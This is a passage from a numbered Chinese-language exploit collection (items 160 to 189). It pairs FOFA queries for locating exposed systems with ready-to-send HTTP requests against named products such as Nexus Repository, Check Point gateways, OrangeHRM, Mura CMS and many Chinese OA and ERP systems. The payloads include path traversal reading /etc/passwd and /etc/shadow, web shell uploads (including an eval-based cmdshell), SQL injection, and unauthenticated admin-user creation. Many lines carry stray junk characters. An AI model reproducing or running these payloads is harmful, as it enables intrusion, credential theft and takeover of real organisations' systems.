  V- }& m& ]  |: s7 [6 j<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
3 ?* c5 }8 u( L( g& A6 K4 ]<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
- e: A$ z* Z# F) H* f% `3 P! h<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
$ }% D/ j( z7 L5 h2 @  R</soap:Body>
</soap:Envelope>

. M0 o. T6 R* r# p
5 C* g$ t" \, k  P& E7 |/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

2 B& [1 m! t! ?! W& U8 s
$ A( X. v/ ~$ i3 `160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
0 }# D0 G1 l8 f7 b# u2 HGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
2 k8 U+ y' ?' [& }3 a0 X" J/ THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
1 T) C6 Y1 m, z- W/ r! f) UConnection: close
Accept: */*
5 F# y0 t+ @2 }* U( LAccept-Language: en
6 j6 v  M0 g% c4 z! F2 u0 nAccept-Encoding: gzip
4 j: O" l& F8 @
5 m1 r( T: H1 f7 _% t
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
0 H& S, V5 \; F/ e& W) \0 B  E/ fFOFA：body="/KT_Css/qd_defaul.css"
# C: l5 j' ^( t0 n" i# W+ b8 Z6 m" D第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
4 s9 [8 k' e7 i; ^# pHost: x.x.x.x
# x2 h1 V) G% U) G6 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
8 }  K4 e2 r2 A) c/ }4 PAccept-Encoding: gzip
( J: I; j" l6 g% R; T) {
) G& C" S, @0 s1 \/ W$ N. ^& O; k. o<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
8 d7 C) F1 [$ i$ L% Rxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
( q# B2 B# ?. q4 T; k) N$ t$ ?' t<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
. T6 t! C8 ^$ `+ ~' X<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
% h& X6 ?. ]/ R9 U! n$ ~% l</soap:Body>
/ s( Y, X& M, k7 b9 @8 `6 q0 q</soap:Envelope>
2 U8 \9 Q2 @. x" M
9 K% F4 g* V' p9 R4 s. O7 ~5 [
& x  \  d; n7 Nhttp://x.x.x.x/dizxdell.aspx
% ^. f6 W7 o$ R" c: @+ E& O) g
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
# N& w: h9 K7 z3 }POST /QH.aspx HTTP/1.1
Host: x.x.x.x
7 g; `# P; N0 i: F9 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
& B7 r5 e5 `; A/ M$ a' d. cContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
3 i+ U7 ^5 `4 e9 T3 A& J! }- b
9 V5 L9 k) s  Y------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

( @/ s, A3 R+ B/ O- ~* D! e<% response.write("ujidwqfuuqjalgkvrpqy") %>
  A( v$ f) I) I------WebKitFormBoundaryeegvclmyurlotuey
8 d% p1 Q5 n  J; X1 o8 o/ X/ ?Content-Disposition: form-data; name="action"

upload
& }, ~3 j1 w0 r; C7 z6 Z8 l8 S* r------WebKitFormBoundaryeegvclmyurlotuey
- E! m+ a! u$ y- m  u9 i& F5 d( ^4 jContent-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
: M& j% {1 v' p1 |
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
0 Z  R3 a" o* O$ b% R+ n1 J: J* _4 @FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
7 q( _" L8 z- C7 {  BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
7 F4 ?% n) e# r2 n" r5 T" w9 [Accept: */*
Accept-Encoding: gzip, deflate
3 @, U8 e+ V# f7 K6 G: C. S5 S! kAccept-Language: zh-CN,zh;q=0.9
% `. z! _+ u: }. DContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
/ N- ~$ m1 K" u1 a3 wContent-Disposition: form-data; name="name"

1.php
9 ?1 x/ L1 u9 q3 X7 r, k------iiqvnofupvhdyrcoqyuujyetjvqgocod
2 a$ z& N* B( `0 A2 V( rContent-Disposition: form-data; name="upfile"; filename="1.php"
$ f+ T  }. c( i, ^& g" zContent-Type: image/jpeg
9 Z/ A0 k. @3 ?- F( M9 q8 s
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
, q( g' n5 i2 p! Z/ u$ @POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
( {: b. {6 x2 w3 ^9 f+ j0 M1 YContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
2 w+ A+ j8 n" p- rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
$ v- P6 y1 J. ?' H# QConnection: close
3 B. O; K- T, f3 _/ q" {0 lContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
+ |9 i3 a' I" }  d4 J4 D0 L/ J0 DContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

/ r" I8 d% F) U5 U6 p; e<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
$ y0 n  y" P6 |$ C' t3 ?, X  K. s5 s------dqdaieopnozbkapjacdbdthlvtlyl--
2 o- t1 `! k0 e/ {$ {/ [- Q% Q% j3 y
2 V! _& |* g$ h  S$ p
( h- z5 d" R1 z1 n0 y5 D& ohttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
7 q: o' {, \+ {+ V& N! P" i# G
165. OrangeHRM 3.3.3 SQL 注入
9 G, T/ C1 T( l1 m& s7 MCVE-2024-36428
FOFA: app="OrangeHRM-产品"
* O! l& k1 N, v- m, r. ~5 r/ a7 yURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

' d8 F" M$ z. `" R
, S  z% v7 [- e166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
3 K  c3 V' M% b+ A) }4 JPragma: no-cache
Cache-Control: no-cache
: \  e% I% ]7 c# y5 h/ D, X! [# u- TUpgrade-Insecure-Requests: 1
& ?, p5 ]7 V' ~) o+ \! ^3 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
4 p8 \; a6 N7 v/ e+ ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  c) m) K, f; N9 v$ w0 bAccept-Encoding: gzip, deflate
( H% G8 y  m1 d$ [0 JAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
  S4 q* c# j* z( x& n7 l  TContent-Length: 89

1 E+ D+ O2 @# d, @1 M* `Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
- W6 H  D2 U% I1 G* V/ D5 ~) yGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
! h3 Z1 G* t3 I" d1 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
9 y4 H' a* o' I4 e' X- LAccept: */*
Connection: keep-alive

8 e0 P5 s7 H3 t: j' u4 q
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
7 f9 c# A- E4 X1 s- P+ e# t, `4 }GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
9 o* N" S) s. uHost: your-ip
" m) h9 v1 t& j1 H+ J+ h1 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

% t# @- U. J+ f  u! G
  _( P1 p) M5 h' Z( t
% G5 ^0 `. D8 A; A( Q& H- w8 i& R169. 宏景EHR downlawbase SQL注入
0 ]9 `4 K; m. rFOFA：app="HJSOFT-HCM"
5 @; l) Q  f* E' J) r4 MGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
/ O9 H7 m- Q% f. V+ F4 GHost: your-ip
. z! n+ z/ B+ C. Y( VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
: \2 s2 v7 w! C2 ~3 C/ O0 dAccept-Encoding: gzip, deflate
Connection: close
% h3 h9 M0 V% V; m" d, M
- ?7 L* C# ~# \! U

, v7 ^# G3 h. Y# r% g3 J! s170. 宏景EHR DisplayExcelCustomReport 任意文件读取
* k$ I" R( w% ]; |FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
1 k5 e$ O5 E# Y5 AHost: balalanengliang
6 O3 J: |* y5 M1 i* u3 B. I, vUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* k3 V, W8 \! J  xContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml


4 @0 J( N. P) w171. 通天星CMSV6车载定位监控平台 SQL注入
  s7 F+ T( X8 t- P5 ^FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
. b% y2 c& a+ V+ `Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
; K) i" M2 j8 H6 x4 m


$ Y3 U9 x+ Q8 g# c+ O3 G% Y$ j172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
. n+ ?% _9 j: A- Z) aGET /../../../../etc/passwd HTTP/1.1
( d6 x  u, o- Y. H# K3 XHost: your-ip
+ }9 q  T; O( ~6 C0 g# U+ M9 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 T+ p6 t5 T8 ]* r. b- V


173. Check Point 安全网关任意文件读取
CVE-2024-24919
2 G% v8 w  D3 A) |0 Z# kFOFA：app="Check_Point-SSL-Network-Extender"
0 i# H/ ]# \" z: D2 r$ q7 x1 iPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
4 }/ x5 f* x: L/ o0 x( o
, E- u  _& Y/ A. k4 d; u% ]1 ZaCSHELL/../../../../../../../etc/shadow


1 {; _$ H. S9 l( C  _
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
5 F; k/ @) |" A6 o1 [) xGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
% W: O  v5 c1 |5 ^) O$ V; v0 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
/ b4 Q4 p4 H4 D3 Q5 L
" p+ a( o) j/ @0 |* }) I2 m
, R! o, O" G5 O0 d  B2 F
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
$ |# a/ Z' g8 M8 @; r, k! L/ lGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ c5 W$ Z5 V: w7 n2 j7 JAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
4 v- ]. R2 Z5 S3 G( a! l4 T
# ^( ^# e# `" [' m
  V0 P2 b( ^6 q+ [176. 电信网关配置管理系统 rewrite.php 文件上传
" d; N. W( w5 Z2 H5 p! u" W9 yFOFA：body="img/login_bg3.png" && body="系统登录"
8 ]1 q: j7 M0 r- D- z4 Z( ePOST /manager/teletext/material/rewrite.php HTTP/1.1
& E3 S# Y2 T/ GHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; `" u/ o! b# p+ A3 H; U/ K$ v+ e; @8 UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
& j7 i, z% f) ]( h' qConnection: close

' p* |) {% F" Y5 M# i- K. I------WebKitFormBoundaryOKldnDPT
3 i4 v0 Z+ K2 i- |Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
% r" @; ?0 A( b! T" t! f
2 _' F8 ~0 _' b& s1 i6 o<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
( Q4 I& ?/ z+ J$ dContent-Disposition: form-data; name="uploadtime"

4 |, c- O  k3 p; W
$ h; j7 C5 u$ \6 n9 {" w2 v3 n------WebKitFormBoundaryOKldnDPT--


: C$ @4 l; N; n2 Z
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
0 ]5 t1 c( L' g/ s  b/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
# n5 k0 h9 R- J4 x/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
; }  U. c* [5 j  l4 K  Q/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
5 i- E( T: {+ B/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
. l0 y1 W" u& I6 z' A; _/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
. {) f. }& o, C( P5 v; i3 k+ v/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
; c  M1 g8 F$ P) L& W/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
0 \: v. B5 |3 [; ]6 `POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
# p/ P$ S) A2 V5 v. d% X/ YHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
: c, [* o5 s$ R' X5 y7 H1 ZAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
3 x0 V1 i8 A* X0 D+ v-----------------aqutkea7vvanpqy3rh2l
/ {: B2 a. z; s3 H4 X) [+ UContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
" E' ~; N8 I3 t+ V0 AContent-Length: 255
1 A+ B/ D( T: b$ m( r
12234
-----------------aqutkea7vvanpqy3rh2l--


# z& Y% ]8 f, f) T7 f+ m+ K3 o% aGET /imc/primepush/%2e%2e/flex/12234.txt
2 x$ x# {! O; a& A: Y% o

179. 建文工程管理系统存在任意文件读取
2 b7 A; Q8 M  S2 j7 J  N2 T7 oPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

4 W! h1 l; q1 h9 N9 S2 Qpath=../log4net.config&Name=
8 }' R0 K$ l+ S! p7 s. Y0 v

; U  Q3 U: o7 Q/ }. I; l& ]180. 帮管客 CRM jiliyu SQL注入
, S# T( L' E4 s. ]9 RFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( K4 X. N1 f* g" i& \" S7 ?/ FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
4 }& K) ^: t/ h1 q+ J* bAccept-Language: zh-CN,zh;q=0.9
  |2 O( N* a4 w: H* H, T9 A2 aConnection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
! S7 g( @# W+ t& u9 XPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
4 ]; x( I# ?( Z& M9 p' c) xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
  ~" d. Z" ]8 n8 Z7 U8 ]7 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 S' ], S6 J- t, O3 A, bAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
6 E( S6 V- e7 }9 yConnection: close
Content-Type: application/x-www-form-urlencoded


7 {; `5 \9 d8 N1 \- F2 Zaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
2 B. X& C) E( s- L, W4 Y" }POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
3 K# w" Z7 W4 f/ A6 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
2 b1 B  z5 f. g8 Q% nAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
' ~1 J( ?& _, f2 h4 T5 r; e/ a
" K, x8 m% |( u
6 ~  I$ u. l, G$ i- Lusername=test1234&pwd=test1234&savedays=1


1 {, z, j( x# J9 B  O183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
6 m- Y" I4 S. @9 v/ gFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
4 d3 S! H0 N/ n! h! x1 u4 g7 BHost: your-ip
' ?5 B: i! r% W) W8 F# IUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; c6 Q) p7 E+ jAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
$ `# A1 H) g3 y6 W
# k# N& }) X3 B$ V2 l. E8 n
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
1 s3 E3 e9 j) H$ z8 Y; ^. ZHost: your-ip
6 H4 g; z2 h5 m5 pAccept-Encoding: gzip, deflate
5 Z7 C8 X0 f) h" }& ~: eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 g: H* U- ?+ _7 q) LAccept: application/xml, text/xml, */*; q=0.01
# Y8 f# g/ u/ O9 U# a0 t$ aContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 F; W- E6 b9 b; {1 C# N" LX-Requested-With: XMLHttpRequest
* `  {/ j$ V. j" I+ S

. G5 s+ H! i3 Y$ |+ Jinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


( H; k* s: @& ]  S* V. c185. 瑞友天翼应用虚拟化系统SQL注入
' c/ T$ D7 A0 Q1 P. Sversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
$ s6 f. u' ~5 q  x* ]9 \+ o8 A# l6 ~

186. F-logic DataCube3 SQL注入
# N1 |2 Z' d% W) s- f# |  d# ?CVE-2024-31750
6 Q9 Z1 I0 g- J7 bF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
- C3 l; Q' X1 l. A* WPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
8 u0 t7 K9 d3 X; F# Q+ g9 QHost: your-ip
& f; a( t) S8 i9 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
4 h& }& s1 m1 B7 n; ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
4 e  \- V3 s% z6 qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 Z/ I0 h( Q1 a! D* s8 wAccept-Encoding: gzip, deflate
, f( u7 a" Z; eConnection: close
Content-Type: application/x-www-form-urlencoded
+ t: L! q4 {, z% A! ?4 Q& y: H1 c. K
5 X$ c- q" e. a* }7 l2 x! qreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
! D0 r; \/ h, q, e; I7 N

187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
$ |) Q3 z8 W. B) n; t" wPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
- W4 E' h1 x$ c: R  ?0 y1 VHost: your-ip
Content-Type: application/x-www-form-urlencoded


9 B- Y: y4 c# |9 \object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
0 S# l+ j  s2 T9 A0 X8 Q
1 E' |  _& P" X
) u2 p( ^5 Z4 Q188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
% p* A9 _0 F. H: Y& W, PFOFA：body="/system/get_rtc_user_defined_info?site_id"
7 w& o8 V8 N/ B% C( b- f( xGET /attachment?file=/etc/passwd HTTP/1.1
2 ]* F5 e& \$ i# oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 e' t' l& o4 n; |2 c  mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 F* H; z$ y) E+ TAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
: W/ l7 t" v& s$ L$ @: v+ X
/ M* n0 n2 t* B
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
